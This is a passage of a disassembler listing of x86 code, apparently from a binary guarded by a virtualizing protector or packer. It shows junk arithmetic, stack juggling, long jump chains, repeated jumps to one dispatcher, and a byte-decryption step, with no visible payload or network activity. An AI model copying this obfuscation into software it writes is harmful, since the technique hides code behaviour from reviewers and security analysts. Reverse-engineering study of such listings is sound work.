		push	[esp+8Eh+var_8E]
		pop	eax
		push	edi
		jmp	loc_5B02FD
; ---------------------------------------------------------------------------


loc_5AEBDF:				; CODE XREF: sub_58A891+1C83Fj
		add	[esp+0Eh+var_10+2], 4
		jmp	loc_59DF0C
; ---------------------------------------------------------------------------


loc_5AEBE8:				; CODE XREF: sub_58A891+18E54j
		mov	ebx, 0B666602h
		sub	esp, 4
		mov	[esp+0DAh+var_DC+2], ecx
		mov	ecx, 3E6A7D00h
		mov	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 57477D7Eh
		add	edx, 77227680h
		jmp	loc_5A99FC
; ---------------------------------------------------------------------------


loc_5AEC0F:				; CODE XREF: sub_58A891+1FBD4j
		add	eax, ebx
		sub	eax, 10E31757h
		pop	ebx
		push	edx
		mov	edx, 3B3900D9h
		jmp	loc_5B02E2
; ---------------------------------------------------------------------------


loc_5AEC22:				; CODE XREF: sub_58A891+246A4j
		push	4035h
		mov	[esp+0], edx
		mov	dl, 0D0h
		dec	dl
		jmp	loc_5AC4A8
; ---------------------------------------------------------------------------


loc_5AEC33:				; CODE XREF: sub_58A891+1B98Bj
		mov	esi, esp
		push	ecx
		sub	esp, 4
		mov	[esp+3Ch+var_3C], ebp
		jmp	loc_59F74B
; ---------------------------------------------------------------------------


loc_5AEC41:				; CODE XREF: sub_58A891+1EFFFj
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		jmp	loc_5AD36F
; ---------------------------------------------------------------------------


loc_5AEC4C:				; CODE XREF: sub_58A891+1CA77j
		add	esi, 1
		sub	esp, 4
		jmp	loc_5B00BE
; ---------------------------------------------------------------------------


loc_5AEC5A:				; CODE XREF: sub_58A891+1176Dj
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		add	esp, 4
		push	ebp
		push	esp
		jmp	loc_5AD2CB
; ---------------------------------------------------------------------------


loc_5AEC71:				; CODE XREF: sub_58A891+14F98j
		mov	eax, [esp+22h+var_24+2]
		add	esp, 4
		add	ebx, 49136377h
		add	ebx, 48333917h
		add	ebx, edi
		push	ecx
		mov	ecx, 2145E78h
		xor	ecx, 4A27676Fh
		jmp	loc_5AB906
; ---------------------------------------------------------------------------


loc_5AEC99:				; CODE XREF: sub_58A891+23C9Dj
		xor	esi, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		and	eax, ebx
		pop	ebx
		or	edx, eax
		jmp	loc_5A1BDC
; ---------------------------------------------------------------------------


loc_5AECA9:				; CODE XREF: sub_58A891+1736Fj
		jno	loc_5A17CF
		jmp	loc_5B1B7E
; ---------------------------------------------------------------------------
		mov	esi, edx
		jmp	loc_59CA95
; ---------------------------------------------------------------------------
		push	ebx


loc_5AECBC:				; CODE XREF: sub_58A891+225A3j
		push	eax
		jmp	loc_59F281
; ---------------------------------------------------------------------------


loc_5AECC2:				; CODE XREF: sub_58A891+156C0j
		xor	[esp+26h+var_24+2], ecx
		pop	ecx
		pop	ecx
		xor	ecx, 45FF085Dh
		mov	edi, [esp+1Eh+var_20+2]
		add	esp, 4
		or	esi, ecx
		jmp	loc_5AA493
; ---------------------------------------------------------------------------


loc_5AECDB:				; CODE XREF: sub_58A891+1E241j
		mov	di, 3FD3h
		inc	di
		xor	di, 40F8h
		sub	bp, di
		jmp	loc_5A0AF5
; ---------------------------------------------------------------------------


loc_5AECEE:				; CODE XREF: sub_58A891+25C7Dj
		and	esi, 5FA3693Fh
		jg	loc_5A78E8
		jmp	loc_5A4B61
; ---------------------------------------------------------------------------
		xor	cl, 0B9h
		sub	bl, cl
		pop	cx
		push	esp


loc_5AED07:				; CODE XREF: sub_58A891+15C62j
		or	byte ptr [esp+36h+var_38+2], al
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AED10:				; CODE XREF: sub_58A891+11FDFj
		pop	esp
		add	ebp, 4
		push	ecx
		jmp	loc_5A18A1
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0D0685224h, 89000006h, 4812424h, 424h, 0C2815A00h, 4
		dd 8704EA83h, 895C2414h, 0F968241Ch, 0E900003Dh, 0FFFEDE29h
; ---------------------------------------------------------------------------


loc_5AED4C:				; CODE XREF: sub_58A891+1CD45j
		pop	ebp
		jmp	loc_5AFD45
; ---------------------------------------------------------------------------


loc_5AED52:				; CODE XREF: sub_58A891+21F22j
		add	esi, edx
		pop	edx
		sub	ecx, esi
		pop	esi
		push	edi
		mov	edi, 489956C4h
		add	edi, 0DA5ADB68h
		sub	ecx, edi
		pop	edi
		push	ebx
		mov	ebx, 1CDC31BAh
		add	ecx, ebx
		pop	ebx
		jmp	loc_5A8043
; ---------------------------------------------------------------------------


loc_5AED75:				; CODE XREF: sub_58A891+14695j
		pop	ecx
		add	esp, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		jmp	loc_5A3D3A
; ---------------------------------------------------------------------------


loc_5AED87:				; CODE XREF: sub_58A891+1BBA5j
		mov	edx, 0B456F2Ch
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		not	edi
		xchg	edi, edx
		shl	edx, 5
		not	edx
		push	ecx
		mov	ecx, 23B2C27h
		shl	ecx, 3
		shl	ecx, 2
		inc	ecx
		push	eax
		mov	eax, 616D32CFh
		or	ecx, eax
		mov	eax, [esp+9Ah+var_9A]
		add	esp, 4
		jmp	loc_5B1962
; ---------------------------------------------------------------------------


loc_5AEDBB:				; CODE XREF: sub_58A891+11E3Bj
		add	eax, 3EA01E75h
		add	eax, esi
		jmp	loc_5A0431
; ---------------------------------------------------------------------------


loc_5AEDC7:				; CODE XREF: sub_58A891+13DE1j
		sub	ecx, 5B2A260Bh
		ja	loc_5AD1EF
		or	ecx, 4F443569h
		jmp	loc_5A66F8
; ---------------------------------------------------------------------------


loc_5AEDDE:				; CODE XREF: sub_58A891+1DA61j
		push	ecx
		mov	ecx, 3BDB00A4h
		dec	ecx
		jmp	loc_5A3A86
; ---------------------------------------------------------------------------


loc_5AEDEA:				; CODE XREF: sub_58A891+21F5Cj
		xchg	edx, [esp-12h+arg_8+2]
		pop	esp
		add	esp, 4
		jmp	loc_59D342
; ---------------------------------------------------------------------------


loc_5AEDF9:				; CODE XREF: sub_58A891+1400Dj
		add	al, 4Fh
		pop	bx
		mov	ebx, [esp+90h+var_92+2]
		jmp	loc_59C8C2
; ---------------------------------------------------------------------------


loc_5AEE05:				; CODE XREF: sub_58A891+17135j
		xor	eax, ebx
		xor	ebx, eax
		push	4178h
		mov	[esp+0BCh+var_BE+2], eax
		jmp	loc_5A9913
; ---------------------------------------------------------------------------


loc_5AEE16:				; CODE XREF: sub_58A891+1BC42j
		push	esi
		mov	esi, 0A416245h
		sub	edi, esi
		pop	esi
		sub	edi, 1C574297h
		dec	edi
		sub	edi, 0C8C49764h
		xor	edx, edi
		pop	edi
		push	2124h
		mov	[esp+82h+var_82], ebx
		push	71Eh
		mov	[esp+86h+var_86], ebp
		push	6CCF56B4h
		pop	ebp
		add	ebp, 94FFB41Ch
		mov	ebx, ebp
		mov	ebp, [esp+86h+var_86]
		add	esp, 4
		xor	edx, ebx
		pop	ebx
		add	ebp, edx
		pop	edx
		add	ebp, 2
		jmp	loc_5B2AC5
; ---------------------------------------------------------------------------


loc_5AEE61:				; CODE XREF: sub_58A891+11728j
		push	ebp
		push	[esp+12h+var_10+2]
		mov	ebp, [esp+16h+var_18+2]
		push	ebp
		push	7ABEh
		mov	[esp+1Eh+var_20+2], esp
		add	[esp+1Eh+var_20+2], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_5AAED8
; ---------------------------------------------------------------------------


loc_5AEE8F:				; CODE XREF: sub_58A891+23231j
		push	ecx
		jmp	loc_59CC76
; ---------------------------------------------------------------------------


loc_5AEE95:				; CODE XREF: sub_58A891+16A6Aj
					; sub_58A891+1A30Dj
		xchg	esi, edx
		push	ebx
		mov	ebx, 239E3551h
		neg	ebx
		jmp	loc_5A84A6
; ---------------------------------------------------------------------------


loc_5AEEA4:				; CODE XREF: sub_58A891+1CD23j
		push	edi
		push	esp
		mov	edi, [esp+2Ah+var_2C+2]
		jmp	loc_5AC592
; ---------------------------------------------------------------------------


loc_5AEEAE:				; CODE XREF: sub_58A891+14EFEj
		shr	ebp, 2
		jmp	loc_5A3351
; ---------------------------------------------------------------------------


loc_5AEEB6:				; CODE XREF: sub_58A891+17470j
		add	esi, 4
		xchg	esi, [esp+44h+var_46+2]
		mov	esp, [esp+44h+var_46+2]
		push	edx
		jmp	loc_5A0461
; ---------------------------------------------------------------------------


loc_5AEEC5:				; CODE XREF: sub_58A891:loc_59F5B6j
		jmp	loc_5A499E
; ---------------------------------------------------------------------------


loc_5AEECA:				; CODE XREF: sub_58A891+26C26j
		add	edi, 6DD90154h
		or	edi, 5FE53D72h
		sub	edi, 7BE2D87Ch
		add	edx, edi
		pop	edi
		sub	edx, eax
		sub	edx, 640A66FEh
		add	edx, 31D11485h
		jmp	loc_5A9823
; ---------------------------------------------------------------------------


loc_5AEEF2:				; CODE XREF: sub_58A891+27E37j
		add	ebp, ecx
		add	ebp, 174D21A2h
		push	ecx
		mov	ecx, 10D86609h
		sub	ebp, 3D33BCh
		add	ebp, ecx
		add	ebp, 3D33BCh
		pop	ecx
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		jmp	loc_5A6062
; ---------------------------------------------------------------------------


loc_5AEF1B:				; CODE XREF: sub_58A891+1BEF3j
		push	413Bh
		mov	[esp+78h+var_7A+2], eax
		mov	eax, 16F65ECh
		sub	eax, 0EEB0E03h
		jmp	loc_59FA7D
; ---------------------------------------------------------------------------


loc_5AEF32:				; CODE XREF: sub_58A891+12683j
		not	al
		push	ecx
		jmp	loc_5AEC22
; ---------------------------------------------------------------------------


loc_5AEF3A:				; CODE XREF: sub_58A891+21095j
		add	al, 9Eh
		jmp	loc_5AC2B6
; ---------------------------------------------------------------------------


loc_5AEF41:				; CODE XREF: sub_58A891+247EAj
		add	edx, 0E91A2342h
		add	ebx, edx
		pop	edx
		mov	edx, [esp+6Ch+var_6C]
		add	esp, 4
		jmp	loc_5A4D12
; ---------------------------------------------------------------------------


loc_5AEF55:				; CODE XREF: sub_58A891+1E9F6j
		or	ecx, eax
		mov	eax, [esp+86h+var_86]
		add	esp, 4
		jmp	loc_5AE10D
; ---------------------------------------------------------------------------


loc_5AEF62:				; CODE XREF: sub_58A891+16F62j
		pop	ecx
		add	esp, 4
		xor	edx, [esp+28h+var_28]
		xor	[esp+28h+var_28], edx
		xor	edx, [esp+28h+var_28]
		mov	esp, [esp+28h+var_28]
		xor	[esp+28h+var_28], eax
		pushf
		jmp	loc_5A876A
; ---------------------------------------------------------------------------


loc_5AEF7E:				; CODE XREF: sub_58A891+1E9A2j
		dec	ebp
		sub	ebp, 0A344E70Ch
		mov	ecx, ebp
		jmp	loc_5AF080
; ---------------------------------------------------------------------------


loc_5AEF8C:				; CODE XREF: sub_58A891+19561j
		mov	[esp-0Eh+arg_4+2], esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4E743211h
		jmp	loc_5A03BD
; ---------------------------------------------------------------------------


loc_5AEFA2:				; CODE XREF: sub_58A891+21FA8j
		and	eax, esi
		push	[esp+16h+var_18+2]
		pop	esi
		push	edi
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], esp
		add	[esp+1Eh+var_20+2], 4
		pop	edi
		push	444Fh
		mov	[esp+1Eh+var_20+2], edx
		jmp	loc_5A08FF
; ---------------------------------------------------------------------------


loc_5AEFC1:				; CODE XREF: sub_58A891+139A2j
		pop	esp
		add	ebp, 2
		push	ebp
		push	[esp+1Eh+var_1C+2]
		pop	ebp
		pop	[esp+1Eh+var_20+2]
		pop	esp
		and	word ptr [esp+16h+var_18+2], ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AEFD9:				; CODE XREF: sub_58A891+2743Ej
		mov	ebx, [esp+1Ah+var_1C+2]
		add	esp, 4
		add	eax, 2
		xor	eax, [esp+16h+var_18+2]
		xor	[esp+16h+var_18+2], eax
		jmp	loc_5A7C80
; ---------------------------------------------------------------------------


loc_5AEFF2:				; CODE XREF: sub_58A891+12E4Dj
		push	edi
		mov	edi, 224262FDh
		shl	edi, 3
		shr	edi, 4
		neg	edi
		add	edi, 31AA6407h
		mov	ebx, edi
		pop	edi
		jmp	loc_5A0D85
; ---------------------------------------------------------------------------


loc_5AF00E:				; CODE XREF: sub_58A891:loc_5AC25Aj
		shl	ebx, 1
		js	loc_59F6C1
		jmp	loc_5A2882
; ---------------------------------------------------------------------------
		jmp	loc_5A558F
; ---------------------------------------------------------------------------


loc_5AF020:				; CODE XREF: sub_58A891+12AC1j
		mov	[esp-0Eh+arg_4+2], esi
		mov	esi, 4
		add	edx, esi
		push	[esp-0Eh+arg_4+2]
		jmp	loc_59F02D
; ---------------------------------------------------------------------------


loc_5AF032:				; CODE XREF: sub_58A891+177DEj
		add	esp, 4
		sub	edi, 146B66D2h
		and	eax, edi
		push	[esp+38h+var_38]
		pop	edi
		jmp	loc_5A29BF
; ---------------------------------------------------------------------------


loc_5AF046:				; CODE XREF: sub_58A891+22767j
		sub	esp, 4
		mov	[esp+68h+var_68], ecx
		mov	ecx, 4
		add	ebx, 5F2F168Eh
		sub	ebx, ecx
		jmp	loc_5AC784
; ---------------------------------------------------------------------------


loc_5AF061:				; CODE XREF: sub_58A891+1EC4Fj
		add	esi, 51703228h
		jmp	loc_5A5947
; ---------------------------------------------------------------------------


loc_5AF06C:				; CODE XREF: sub_58A891+1421Bj
		xor	ebx, 77306ABFh
		or	edx, ebx
		pop	ebx
		shl	edx, 6
		shl	edx, 1
		dec	edx
		jmp	loc_5AEF41
; ---------------------------------------------------------------------------


loc_5AF080:				; CODE XREF: sub_58A891+11C5Cj
					; sub_58A891+246F6j
		jmp	loc_5AD3A7
; ---------------------------------------------------------------------------


loc_5AF085:				; CODE XREF: sub_58A891+19DE3j
		sub	esp, 4
		mov	[esp+0BEh+var_BE], esp
		add	[esp+0BEh+var_BE], 4
		pop	edi
		jmp	loc_5A3D98
; ---------------------------------------------------------------------------


loc_5AF098:				; CODE XREF: sub_58A891+22D1Fj
		push	[esp-12h+arg_8+2]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_5AE213
; ---------------------------------------------------------------------------


loc_5AF0B2:				; CODE XREF: sub_58A891+1EBEAj
		push	ebx
		mov	ebx, 7E2A0E80h
		xor	ebx, 34DE3075h
		jmp	loc_5A6D5D
; ---------------------------------------------------------------------------


loc_5AF0C3:				; CODE XREF: sub_58A891+1D814j
		jno	loc_5AB6E8
		jmp	loc_5A9FC2
; ---------------------------------------------------------------------------
		sub	ebx, 7AB2E1Ah
		pop	esi


loc_5AF0D5:				; CODE XREF: sub_58A891+23C41j
		add	edx, 4
		push	edx
		push	[esp+1Eh+var_1C+2]
		mov	edx, [esp+22h+var_24+2]
		add	esp, 4
		jmp	loc_5A7B10
; ---------------------------------------------------------------------------


loc_5AF0EB:				; CODE XREF: sub_58A891+1321Dj
		mov	ecx, 4EDB3E60h
		xor	edx, ecx
		jmp	loc_5A9FA9
; ---------------------------------------------------------------------------


loc_5AF0F7:				; CODE XREF: sub_58A891+26B28j
		pop	edx
		add	esp, 4
		jmp	loc_5AC8CA
; ---------------------------------------------------------------------------


loc_5AF100:				; CODE XREF: sub_58A891+1C198j
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		push	3156h
		jmp	loc_5A6DCC
; ---------------------------------------------------------------------------


loc_5AF10E:				; CODE XREF: sub_58A891+1D46Bj
		mov	[esp+82h+var_82], ecx
		mov	ecx, 661C402Eh
		sub	ecx, 15ED487Ch
		xor	ecx, 72BEABEDh
		sub	esi, 5B0B7A22h
		add	esi, ecx
		add	esi, 5B0B7A22h
		jmp	loc_5A19BC
; ---------------------------------------------------------------------------


loc_5AF135:				; CODE XREF: sub_58A891+26063j
		push	67F9h
		jmp	loc_5AC8E1
; ---------------------------------------------------------------------------


loc_5AF13F:				; CODE XREF: sub_58A891+27CECj
		mov	[esp+86h+var_86], esi
		push	edx
		mov	edx, 19120777h
		neg	edx
		jmp	loc_5ABB55
; ---------------------------------------------------------------------------


loc_5AF14F:				; CODE XREF: sub_58A891+13AC1j
		add	ebx, eax
		mov	eax, [esp+0Ah+var_C+2]
		add	esp, 4
		jmp	loc_5ACEF5
; ---------------------------------------------------------------------------


loc_5AF15F:				; CODE XREF: sub_58A891+1C725j
		jmp	loc_5B26CD
; ---------------------------------------------------------------------------


loc_5AF164:				; CODE XREF: sub_58A891+1B12Cj
		pop	edx
		push	esi
		not	[esp+88h+var_8A+2]
		pop	esi
		add	esi, 62803C86h
		xor	esi, 0B871B7EBh
		jmp	loc_5A2EB6
; ---------------------------------------------------------------------------


loc_5AF17B:				; CODE XREF: sub_58A891+1D9C0j
		xor	eax, 2C02B8Ah
		mov	esi, eax
		mov	eax, [esp+56h+var_58+2]
		add	esp, 4
		jmp	loc_5A91BE
; ---------------------------------------------------------------------------


loc_5AF190:				; CODE XREF: sub_58A891+2646Dj
		push	edx
		mov	edx, 4
		sub	ebx, edx
		jmp	loc_5A5DDB
; ---------------------------------------------------------------------------


loc_5AF19D:				; CODE XREF: sub_58A891+26A9Fj
		xor	[esp+56h+var_58+2], edx
		xor	edx, [esp+56h+var_58+2]
		mov	esp, [esp+56h+var_58+2]
		and	ecx, eax
		push	[esp+56h+var_58+2]
		pop	eax
		sub	esp, 4
		jmp	loc_5A442F
; ---------------------------------------------------------------------------


loc_5AF1B4:				; CODE XREF: sub_58A891+1D319j
		push	esi
		jmp	loc_5A91E5
; ---------------------------------------------------------------------------


loc_5AF1BA:				; CODE XREF: sub_58A891+1FE1Aj
		not	ebx
		sub	ebx, 7F80EB55h
		jmp	loc_5AF4B8
; ---------------------------------------------------------------------------


loc_5AF1C7:				; CODE XREF: sub_58A891+1ECBCj
		jmp	loc_5B2D84
; ---------------------------------------------------------------------------


loc_5AF1CC:				; CODE XREF: sub_58A891+208BBj
		dec	ebp
		xor	ebp, 708F0E4Ch
		shl	ebp, 2
		add	ebp, 42C74B9Dh
		add	ebp, 0F9D0A1C7h
		add	esi, ebp
		pop	ebp
		add	esi, 4
		jmp	loc_5AFC80
; ---------------------------------------------------------------------------


loc_5AF1ED:				; CODE XREF: sub_58A891+2396Bj
					; sub_58A891:loc_5B2824j
		inc	esi
		or	esi, 169C6A89h
		jmp	loc_5A70FA
; ---------------------------------------------------------------------------


loc_5AF1F9:				; CODE XREF: sub_58A891+23B3Bj
		mov	ax, [esp+0]
		add	esp, 2
		jmp	loc_5A8389
; ---------------------------------------------------------------------------


loc_5AF208:				; CODE XREF: sub_58A891+25E7Dj
		jnb	loc_59F3AF
		dec	edx
		jo	loc_5A875E
		push	esi
		mov	esi, 27285E71h
		add	edx, esi


loc_5AF21D:				; CODE XREF: sub_58A891+2602Dj
		sub	edi, eax
		pop	eax
		push	ebx
		mov	ebx, 3F4F6789h
		not	ebx
		sub	ebx, 0FFFFFFFFh
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		inc	ebx
		xor	ebx, 0A65095h
		sub	edi, ebx
		pop	ebx
		mov	edx, [esp-18h+arg_E+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		add	edi, 4
		xor	edi, [esp-18h+arg_E+2]
		jmp	loc_5A3BAA
; ---------------------------------------------------------------------------


loc_5AF25C:				; CODE XREF: sub_58A891+16614j
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	ebx, 46EC4993h
		dec	ebx
		shr	ebx, 2
		jmp	loc_59E9CD
; ---------------------------------------------------------------------------


loc_5AF271:				; CODE XREF: sub_58A891+17058j
		mov	esi, 7E815BA2h
		xor	esi, 8A21A58h
		shl	esi, 4
		jmp	loc_5B1CF1
; ---------------------------------------------------------------------------


loc_5AF284:				; CODE XREF: sub_58A891+24EE3j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	[esp+0Ah+var_8+2]
		pop	ecx
		jmp	loc_59EB15
; ---------------------------------------------------------------------------


loc_5AF29A:				; CODE XREF: sub_58A891+183D9j
		pop	ecx
		push	[esp+16h+var_18+2]
		pop	edx
		push	esi
		push	esp
		mov	esi, [esp+1Eh+var_20+2]
		add	esp, 4
		jmp	loc_5A0724
; ---------------------------------------------------------------------------


loc_5AF2AF:				; CODE XREF: sub_58A891+14060j
		push	edi
		mov	edi, 4014A885h
		add	edx, edi
		mov	edi, [esp+8Ch+var_8E+2]
		add	esp, 4
		push	edx
		pop	esi
		pop	edx
		add	eax, esi
		pop	esi
		sub	eax, ebx
		push	2D5Fh
		mov	[esp+84h+var_86+2], ebp
		push	7AE227D0h
		pop	ebp
		jmp	loc_59E07C
; ---------------------------------------------------------------------------


loc_5AF2D8:				; CODE XREF: sub_58A891+158E8j
		sub	edi, 76E94A08h
		add	edi, 4B753884h
		mov	ebp, edi
		jmp	loc_59C1AC
; ---------------------------------------------------------------------------


loc_5AF2EB:				; CODE XREF: sub_58A891+17915j
		add	ecx, 9DED58DBh
		mov	ebx, ecx
		jmp	loc_59E2F3
; ---------------------------------------------------------------------------


loc_5AF2F8:				; CODE XREF: sub_58A891+233EBj
		mov	esi, esp
		sub	esp, 4
		mov	[esp+0], ebp
		jmp	loc_59C0FA
; ---------------------------------------------------------------------------


loc_5AF305:				; CODE XREF: sub_58A891+1F72Cj
		sub	al, cl
		pop	cx
		jmp	loc_5B16D4
; ---------------------------------------------------------------------------


loc_5AF30E:				; CODE XREF: sub_58A891+1F0CAj
		add	ebx, eax
		pop	eax
		push	[esp-1Ch+arg_18]
		jmp	loc_5AC925
; ---------------------------------------------------------------------------


loc_5AF319:				; CODE XREF: sub_58A891+2327Aj
		add	esp, 4
		jmp	loc_5AD3F5
; ---------------------------------------------------------------------------


loc_5AF321:				; CODE XREF: sub_58A891+19AB2j
		pop	edx
		add	edx, 0FFFFFFFFh
		add	edx, 3C9AB20Fh
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, esi
		pop	esi
		push	ebx
		mov	esi, [esp+0A4h+var_A6+2]
		jmp	loc_5B2BBD
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_5AA653
; ---------------------------------------------------------------------------


loc_5AF346:				; CODE XREF: sub_58A891+1979Ej
		xor	edi, 0EB5B29BFh
		mov	edx, edi
		pop	edi
		push	ebp
		jmp	loc_5B263D
; ---------------------------------------------------------------------------


loc_5AF355:				; CODE XREF: sub_58A891+1184Cj
		pop	ebp
		mov	edx, ebx
		push	[esp+2+var_4+2]
		pop	ebx
		add	esp, 4
		and	ebx, edx
		mov	edx, [esp+0]
		sub	esp, 4
		mov	[esp+2+var_4+2], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		or	ebx, ebx
		jnz	loc_5AD921
		push	ebx
		push	esi
		push	52F05FE8h
		pop	esi
		xor	esi, 53A0764Bh
		jmp	loc_5A38D7
; ---------------------------------------------------------------------------


loc_5AF399:				; CODE XREF: sub_58A891:loc_59E716j
		neg	edi
		jno	loc_59DB71
		add	edi, 8D3E4865h
		jmp	loc_5B0639
; ---------------------------------------------------------------------------
		sub	esp, 4
		pop	edx


loc_5AF3B0:				; CODE XREF: sub_58A891+17996j
		mov	ah, 0E8h
		sub	ah, 38h
		add	ah, 57h
		xor	ah, 0A6h
		jmp	loc_5A5C05
; ---------------------------------------------------------------------------


loc_5AF3C0:				; CODE XREF: sub_58A891+1707Fj
		push	4EB4h
		mov	[esp+3Ah+var_3C+2], ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp+36h+var_38+2]
		pop	esp
		push	edx
		mov	edx, 5C2213BDh
		sub	ecx, edx
		mov	edx, [esp+36h+var_38+2]
		jmp	loc_5AE340
; ---------------------------------------------------------------------------


loc_5AF3E7:				; CODE XREF: sub_58A891+11B2Cj
		mov	ebx, [esp-26h+arg_1C+2]
		push	ebp
		push	4D5h
		jmp	loc_5A13C2
; ---------------------------------------------------------------------------


loc_5AF3F5:				; CODE XREF: sub_58A891:loc_5ABC49j
					; sub_58A891+260CBj
		push	edi
		mov	edi, 0DF54416Eh
		jmp	loc_5B2338
; ---------------------------------------------------------------------------


loc_5AF400:				; CODE XREF: sub_58A891+14E2Bj
		add	eax, ebx
		add	eax, 46977AEEh
		push	edx
		mov	edx, 20167B14h
		sub	eax, edx
		jmp	loc_5B0EA2
; ---------------------------------------------------------------------------


loc_5AF414:				; CODE XREF: sub_58A891+17625j
		sub	esi, ebp
		pop	ebp
		add	eax, esi
		pop	esi
		add	edx, eax
		pop	eax
		sub	edx, 29D64ADFh
		add	eax, edx
		mov	edx, [esp+70h+var_70]
		add	esp, 4
		push	68DFh
		mov	[esp+70h+var_70], ebx
		jmp	loc_59E733
; ---------------------------------------------------------------------------


loc_5AF438:				; CODE XREF: sub_58A891+1BFC8j
		pop	ebp
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_5A87CF
; ---------------------------------------------------------------------------


loc_5AF442:				; CODE XREF: sub_58A891+166DDj
		add	edx, ecx
		push	ebx
		jmp	loc_5B2201
; ---------------------------------------------------------------------------


loc_5AF44A:				; CODE XREF: sub_58A891+1A4EFj
					; sub_58A891+1FE9Ej
		sub	ebp, 2
		xchg	ebp, [esp+1Eh+var_20+2]
		pop	esp
		mov	word ptr [esp+1Ah+var_1C+2], di
		mov	di, 533Fh
		push	edx
		jmp	loc_5A1A6F
; ---------------------------------------------------------------------------


loc_5AF462:				; CODE XREF: sub_58A891+28440j
		mov	ebx, [esp+1Eh+var_20+2]
		add	esp, 4
		push	ebx
		jmp	loc_5A18BB
; ---------------------------------------------------------------------------


loc_5AF471:				; CODE XREF: sub_58A891+17AF5j
		push	esi
		jmp	loc_59E6CA
; ---------------------------------------------------------------------------


loc_5AF477:				; CODE XREF: sub_58A891+1F38Fj
		mov	[esp+84h+var_86+2], ebp
		mov	ebp, 0E444FD6h
		jmp	loc_5A4BBD
; ---------------------------------------------------------------------------


loc_5AF484:				; CODE XREF: sub_58A891+13AECj
					; sub_58A891+23768j
		pop	edi
		push	eax
		jmp	loc_5A00A9
; ---------------------------------------------------------------------------


loc_5AF48B:				; CODE XREF: sub_58A891+14A3Dj
					; sub_58A891+1A344j
		pop	edi
		and	esi, ecx
		jmp	loc_5ABB22
; ---------------------------------------------------------------------------


loc_5AF493:				; CODE XREF: sub_58A891+19BA1j
		mov	edx, esp
		push	edi
		push	esi
		jmp	loc_5AC70F
; ---------------------------------------------------------------------------


loc_5AF49C:				; CODE XREF: sub_58A891+22D67j
		xor	edx, 7F5320C2h
		jmp	loc_59FADD
; ---------------------------------------------------------------------------


loc_5AF4A7:				; CODE XREF: sub_58A891+11AC9j
		pop	edi
		add	esi, edi
		push	[esp-1Eh+arg_18+2]
		jmp	loc_5AAEE0
; ---------------------------------------------------------------------------


loc_5AF4B2:				; CODE XREF: sub_58A891+1299Dj
		pop	esi
		jmp	loc_5B2B83
; ---------------------------------------------------------------------------


loc_5AF4B8:				; CODE XREF: sub_58A891+17CAAj
					; sub_58A891+20010j ...
		add	esp, 4
		push	edx
		mov	edx, 386A0BB6h
		xor	edi, edx
		pop	edx
		push	6310h
		mov	[esp+22h+var_24+2], edi
		add	[esp+22h+var_24+2], 1FD37CA2h
		pop	ebx
		jmp	loc_5AF711
; ---------------------------------------------------------------------------


loc_5AF4DC:				; CODE XREF: sub_58A891+1A9EAj
		push	edx
		mov	edx, 43926EF7h
		shl	edx, 7
		inc	edx
		or	edx, 1765032h
		inc	edx
		jmp	loc_5AB4D2
; ---------------------------------------------------------------------------


loc_5AF4F2:				; CODE XREF: sub_58A891+1BD85j
		dec	edx
		jmp	loc_59E7B8
; ---------------------------------------------------------------------------


loc_5AF4F8:				; CODE XREF: sub_58A891+12AF9j
		inc	ch
		jmp	loc_5A212A
; ---------------------------------------------------------------------------


loc_5AF4FF:				; CODE XREF: sub_58A891+18DB9j
		sub	esp, 4
		jmp	loc_5B08B6
; ---------------------------------------------------------------------------


loc_5AF50A:				; CODE XREF: sub_58A891+23738j
		sub	ecx, edi
		sub	ecx, 308012B1h
		pop	edi
		jmp	loc_5A3B35
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AF520:				; CODE XREF: sub_58A891+15DD0j
		shr	edi, 2
		jmp	loc_5B1F8D
; ---------------------------------------------------------------------------


loc_5AF528:				; CODE XREF: sub_58A891+15C73j
		sub	ebp, 55B869D7h
		add	edi, ebp
		pop	ebp
		pop	ecx
		add	eax, edi
		pop	edi
		push	ebp
		mov	ebp, 2
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp+0A6h+var_A6]
		mov	esp, [esp+0A6h+var_A6]
		rol	[esp+0A6h+var_A6], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AF54D:				; CODE XREF: sub_58A891+25100j
		mov	ebx, 4B3A13E6h
		jmp	loc_5A8B07
; ---------------------------------------------------------------------------


loc_5AF557:				; CODE XREF: sub_58A891+2098Dj
		shl	bh, 4
		sub	bh, 5Dh
		sub	esp, 4
		jmp	loc_5B02D8
; ---------------------------------------------------------------------------


loc_5AF568:				; CODE XREF: sub_58A891+1BEE3j
		shl	esi, 7
		push	edx
		mov	edx, 5F9A7555h
